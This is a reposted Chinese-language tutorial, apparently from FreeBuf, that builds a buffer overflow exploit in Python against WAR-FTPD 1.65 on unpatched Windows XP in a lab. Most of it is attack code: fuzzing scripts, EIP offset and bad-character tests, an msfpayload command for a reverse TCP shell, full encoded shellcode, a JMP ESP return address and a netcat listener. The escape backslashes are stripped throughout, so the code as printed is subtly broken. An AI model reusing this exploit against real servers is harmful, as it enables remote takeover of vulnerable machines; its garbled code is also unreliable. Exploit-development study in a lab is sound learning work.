您现在的位置: 主页 > 上位机技术 > python > 实例讲解如何利用Python编写Exploit
本文所属标签:
为本文创立个标签吧:

实例讲解如何利用Python编写Exploit

来源:网络整理 网络用户发布,如有版权联系网管删除 2018-08-13 

  本项目的主要目的是学习编写一个Exploit的基本知识。后文中我将尽量将我所学内容一步一步地写成一篇指导性文章,包括过程中我所遇到的失败之处。为了使本文尽可能容易阅读,所以我决定以一个熟知的漏洞程序为例子,并以自己的方式来一步步编写利用代码。

  0 00 环境介绍

  受害端:

1、Windows XP(未打补丁) 
2、WAR-FTPD 1.65 
3、Immunity Debugger

  攻击端:

1、Python 
2、Telnet 
3、Netcat

  0 01 初始设置

  在Windows计算机上运行Immunity Debugger和WAR-FTPD windows,然后通过Telnet连接它以确认从攻击端能够访问它。

SosoImg

  0 02 Fuzzing、溢出

  从这里开始,我们尝试通过一个缓冲区溢出漏洞来攻陷FTP服务器。首先,为了使输入内容能够攻破FTP服务,我们会向某个输入框中填写大量的数据,其中最明显的地方就是用户名或密码输入框。

#!/usr/bin/python 
import socket, sys 
target = '192.168.131.132' 
payload = 'A' * int(sys.argv[1]) 
print "Payload length = %sn" % sys.argv[1] 
def send_exploit(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(1)
  s.connect((target, 21))
  try:
  s.send('user %srn' % payload)
  print s.recv(1000)
  s.send('pass testrn')
  except:
  print "[+] server is down"
  s.close()
if __name__ == "__main__": 
  send_exploit()

SosoImg

  正如你所看到的,当我们利用一个长度为1000字节的payload(有效载荷)来测试时,输出了“[+]server is down”的信息,这意味着它可能在第500个字节时崩溃了。

  在Immunity Debugger中,EIP也被41414141(AAAA级)所覆写,而它刚好匹配上我们的payload。需要注意的是,要记得在每次崩溃之后重启WAR-FTPD,然后再进行下一次尝试。

SosoImg

  接下来我们要做的是为exploit找到所允许输入的最大数量,因为它基本上能告诉我们payload能够使用的空间大小。通过重复上面的方法,手动增加或减少输入内容的字节数,然后利用Immunity Debugger来验证刚好崩溃时的内容字节数。

  当以1200+个字节内容进行测试时,最终停留在了一个名为msvcrt.dll的DLL文件中,而这里的EIP与41414141完全不同。另外,当payload大小为1100字节或以下时,我们仍然控制着EIP。

SosoImg

  0 03 定位EIP

  EIP是指向下一条指令的指针,通过控制它我们可以强制FTP服务器运行并执行非法位置的代码。此外,你总是可以通过手工测试来找到EIP,但这需要花费很长时间,所以我写了一个脚本来帮助我识别该指针。脚本内容见:bufferoverflow.py。 

#!/usr/bin/python 
import socket, sys 
target = '192.168.131.132' 
payload = sys.argv[1] 
print "Payload length = %sn" % len(sys.argv[1]) 
def send_exploit(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(1)
  s.connect((target, 21))
  try:
  s.send('user %srn' % payload)
  print s.recv(1000)
  s.send('pass testrn')
  except:
  print "[+] server is down"
  s.close()
if __name__ == "__main__": 
  send_exploit()

SosoImg

  当运行bufferoverflow.py并将输入解析到利用脚本中时,Immunity Debugger报告EIP的值为32714131,然后我以该EIP地址重新在bufferoverflow.py中运行,最后它能够识别EIP的位置,并识别到它处于Little Endian(小端)模式。

  0 04 测试并识别坏字符

  到目前为止,我们知道以下内容:

1、EIP位于‘A’* 485 +‘EIP_ADDRESS’ 
2、Payload的最大长度是1100字节
#!/usr/bin/python 
import socket 
target = '192.168.131.132' 
buf = '' 
exploit = 'A' * 485 + 'BBBB' + buf 
padding = "C" * (1100 - len(exploit)) 
payload = exploit + padding 
print 'Space left: %d bytesn' % len(padding) 
def send_exploit(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(1)
  s.connect((target, 21))
  try:
  s.send('user %srn' % payload)
  print s.recv(1000)
  s.send('pass testrn')
  except:
  print "[+] server is down"
  s.close()
if __name__ == "__main__": 
  send_exploit()

  然后我用42424242(BBBB)替换EIP,以使其更容易验证我得到了真正的位置。如果我们跟随ESP dump,那么我们还可以看到EIP后面伴随着很多C,而这正是我们可以植入利用代码的地方。 

SosoImg

  现在我们需要做的是,测试是否存在可能给我们的利用代码带来麻烦的坏字符。

Common bad characters that may break the exploit. 
  Hex Dec Description
  --- --- ---------------------------------------------
  0x00 0 Null byte, terminates a C string
  0x0A 10 Line feed, may terminate a command line
  0x0D 13 Carriage return, may terminate a command line
  0x20 32 Space, may terminate a command line argument

  通过运行这段代码,我们将尝试0 x00到0 xff之间任何两者的组合。

#!/usr/bin/python 
import socket 
target = '192.168.131.132' 
buf = '' 
badcharacters = [] 
for i in range(0,256): 
  if not any(chr(i) in s for s in badcharacters):
  buf += chr(i)
exploit = 'A' * 485 + 'BBBB' + buf 
padding = "C" * (1100 - len(exploit)) 
payload = exploit + padding 
print 'Space left: %d bytesn' % len(padding) 
def send_exploit(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(1)
  s.connect((target, 21))
  try:
  s.send('user %srn' % payload)
  print s.recv(1000)
  s.send('pass testrn')
  except:
  print "[+] server is down"
  s.close()
if __name__ == "__main__": 
  send_exploit()

  在检测ESP dump过程中我们进行多次测试,现在我们就可以移除这些坏字符了,因为它们会破坏溢出注入操作。

SosoImg

  在第四次测试时发生了一件很怪异的事情。当我从payload中删除x00、x0a和x0a后,程序就开始不崩溃了。经过一些测试,我发现导致崩溃消失的这个字符是 x40,或者符号“@”。我以后需要深入研究一下这个符号,因为一个程序即使在EIP值全为B时也能够继续运行,这一点讲不通。 

  0 05 创建exploit

  现在,既然我们已经知道了所有的坏字符,那么就可以开始创建exploit了。为了简单起见,我将使用一个反向TCP shell连接到攻击机器的端口4444上,而非使用meterpreter。此外,我还使用msfvenom做了一些测试,但并不能生成正常工作的shellcode。

msfpayload windows/shell_reverse_tcp LHOST="192.168.131.132" LPORT=4444 EXITFUNC=thread R | msfencode -b 'x00x0ax0dx40' -e x86/shikata_ga_nai 
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1) 
buf = 
"xb8x9cx9bxd9xafxdaxcdxd9x74x24xf4x5bx2bxc9" + 
"xb1x4fx31x43x14x03x43x14x83xebxfcx7ex6ex25" + 
"x47xf7x91xd6x98x67x1bx33xa9xb5x7fx37x98x09" + 
"x0bx15x11xe2x59x8exa2x86x75xa1x03x2cxa0x8c" + 
"x94x81x6cx42x56x80x10x99x8bx62x28x52xdex63" + 
"x6dx8fx11x31x26xdbx80xa5x43x99x18xc4x83x95" + 
"x21xbexa6x6axd5x74xa8xbax46x03xe2x22xecx4b" + 
"xd3x53x21x88x2fx1dx4ex7axdbx9cx86xb3x24xaf" + 
"xe6x1fx1bx1fxebx5ex5bx98x14x15x97xdaxa9x2d" + 
"x6cxa0x75xb8x71x02xfdx1ax52xb2xd2xfcx11xb8" + 
"x9fx8bx7exddx1ex58xf5xd9xabx5fxdax6bxefx7b" + 
"xfex30xabxe2xa7x9cx1ax1bxb7x79xc2xb9xb3x68" + 
"x17xbbx99xe4xd4xf1x21xf5x72x82x52xc7xddx38" + 
"xfdx6bx95xe6xfax8cx8cx5ex94x72x2fx9exbcxb0" + 
"x7bxcexd6x11x04x85x26x9dxd1x09x77x31x8axe9" + 
"x27xf1x7ax81x2dxfexa5xb1x4dxd4xd3xf6xdax17" + 
"x4bx7bx9bxf0x8ex7bx8dx5cx06x9dxc7x4cx4ex36" + 
"x70xf4xcbxccxe1xf9xc1x44x81x68x8ex94xccx90" + 
"x19xc3x99x67x50x81x37xd1xcaxb7xc5x87x35x73" + 
"x12x74xbbx7axd7xc0x9fx6cx21xc8x9bxd8xfdx9f" + 
"x75xb6xbbx49x34x60x12x25x9exe4xe3x05x21x72" + 
"xecx43xd7x9ax5dx3axaexa5x52xaax26xdex8ex4a" + 
"xc8x35x0bx6ax2bx9fx66x03xf2x4axcbx4ex05xa1" + 
"x08x77x86x43xf1x8cx96x26xf4xc9x10xdbx84x42" + 
"xf5xdbx3bx62xdc"

  将payload添加到代码中,运行它并在崩溃时检查ESP dump。你可以看到:很多AAAAA,将其转换成十六进制后看起来很像exploit,后面紧随着CCCCCC。如果你未看到任何CCCCCC,这可能意味着exploit太长了,以至于你用完了可用空间;或者你忘了使用“-b”参数删除坏字符。不过,你可以通过运行exploit来验证剩余空间大小。

Space left: 297 bytes

  0 06 定位有效的注入点

1、EIP位于‘A’* 485 +‘EIP_ADDRESS’ 
2、payload最大长度是1100字节 
3、坏字符:x00、x0a、x0d、x40

  坏字符不仅影响shell code,而且还影响我们想要操作的EIP。因为WAR-FTPD运行于一个以“00”起始的内存位置,意味着我们不能向这个位置注入payload,所以需要寻找另一个由WAR-FTPD加载到内存中的文件。

SosoImg

  我强烈建议确认该文件不受ASLR或Rebase保护,否则这将使我们的工作非常困难。你可以下载mona插件并运行“!mona modules”来检测ASLR和Rebase保护的文件。下面,有两种类型的指令是我们需要寻找的,它们分别是“JMP ESP”或指令序列“PUSH ESP;RET”。

  此外,ole32.dll似乎处于一个有效的内存范围内(base:7774 e0000,top:7774 d000)。打开它之后,我成功地找到了一个JMP ESP,并附带一个有效的内存地址:7755A930。

  注意:十六进制奇数值(如1、3、5、7、9、B、D、F)的JMP ESP将不会起作用。 

SosoImg

  既然我们得到了一个目标地址,那么我们可以在exploit中用7755A930代替“BBBB”。需要记住的是,WAR-FTPD使用小端模式,这意味着我们需要反转指针地址为30A95577。

#!/usr/bin/python 
import socket 
target = '192.168.131.132' 
buf = ( 
"xb8x9cx9bxd9xafxdaxcdxd9x74x24xf4x5bx2bxc9" + 
"xb1x4fx31x43x14x03x43x14x83xebxfcx7ex6ex25" + 
"x47xf7x91xd6x98x67x1bx33xa9xb5x7fx37x98x09" + 
"x0bx15x11xe2x59x8exa2x86x75xa1x03x2cxa0x8c" + 
"x94x81x6cx42x56x80x10x99x8bx62x28x52xdex63" + 
"x6dx8fx11x31x26xdbx80xa5x43x99x18xc4x83x95" + 
"x21xbexa6x6axd5x74xa8xbax46x03xe2x22xecx4b" + 
"xd3x53x21x88x2fx1dx4ex7axdbx9cx86xb3x24xaf" + 
"xe6x1fx1bx1fxebx5ex5bx98x14x15x97xdaxa9x2d" + 
"x6cxa0x75xb8x71x02xfdx1ax52xb2xd2xfcx11xb8" + 
"x9fx8bx7exddx1ex58xf5xd9xabx5fxdax6bxefx7b" + 
"xfex30xabxe2xa7x9cx1ax1bxb7x79xc2xb9xb3x68" + 
"x17xbbx99xe4xd4xf1x21xf5x72x82x52xc7xddx38" + 
"xfdx6bx95xe6xfax8cx8cx5ex94x72x2fx9exbcxb0" + 
"x7bxcexd6x11x04x85x26x9dxd1x09x77x31x8axe9" + 
"x27xf1x7ax81x2dxfexa5xb1x4dxd4xd3xf6xdax17" + 
"x4bx7bx9bxf0x8ex7bx8dx5cx06x9dxc7x4cx4ex36" + 
"x70xf4xcbxccxe1xf9xc1x44x81x68x8ex94xccx90" + 
"x19xc3x99x67x50x81x37xd1xcaxb7xc5x87x35x73" + 
"x12x74xbbx7axd7xc0x9fx6cx21xc8x9bxd8xfdx9f" + 
"x75xb6xbbx49x34x60x12x25x9exe4xe3x05x21x72" + 
"xecx43xd7x9ax5dx3axaexa5x52xaax26xdex8ex4a" + 
"xc8x35x0bx6ax2bx9fx66x03xf2x4axcbx4ex05xa1" + 
"x08x77x86x43xf1x8cx96x26xf4xc9x10xdbx84x42" + 
"xf5xdbx3bx62xdc") 
# EIP = 7755A930 = x30xa9x55x77 
nop = 'x90' * 14 
exploit = 'A' * 485 + 'x30xa9x55x77' + nop + buf 
padding = "C" * (1100 - len(exploit)) 
payload = exploit + padding 
print 'Space left: %d bytesn' % len(padding) 
def send_exploit(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(1)
  s.connect((target, 21))
  try:
  s.send('user %srn' % payload)
  print s.recv(1000)
  s.send('pass testrn')
  except:
  print "[+] server is down"
  s.close()
if __name__ == "__main__": 
  send_exploit()

  0 07 Pwning WAR-FTPD

  在攻击端机器上运行netcat或类似的工具,使其监听4444端口(nc -nlvp 4444)。接着,开始愉快地pwning吧 !

SosoImg

  0 08 参考资源

  在研究的过程中,我发现了一些很棒的资源,链接如下:

http://www.securitysift.com/windows-exploit-development-part-1-basics/

https://samsclass.info/127/proj/vuln-server.htm

  *原文地址: 0 41.no,FB小编JackFree编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.com) 




              查看评论 回复



嵌入式交流网主页 > 上位机技术 > python > 实例讲解如何利用Python编写Exploit
 一个 运行 我们

"实例讲解如何利用Python编写Exploit"的相关文章

网站地图

围观()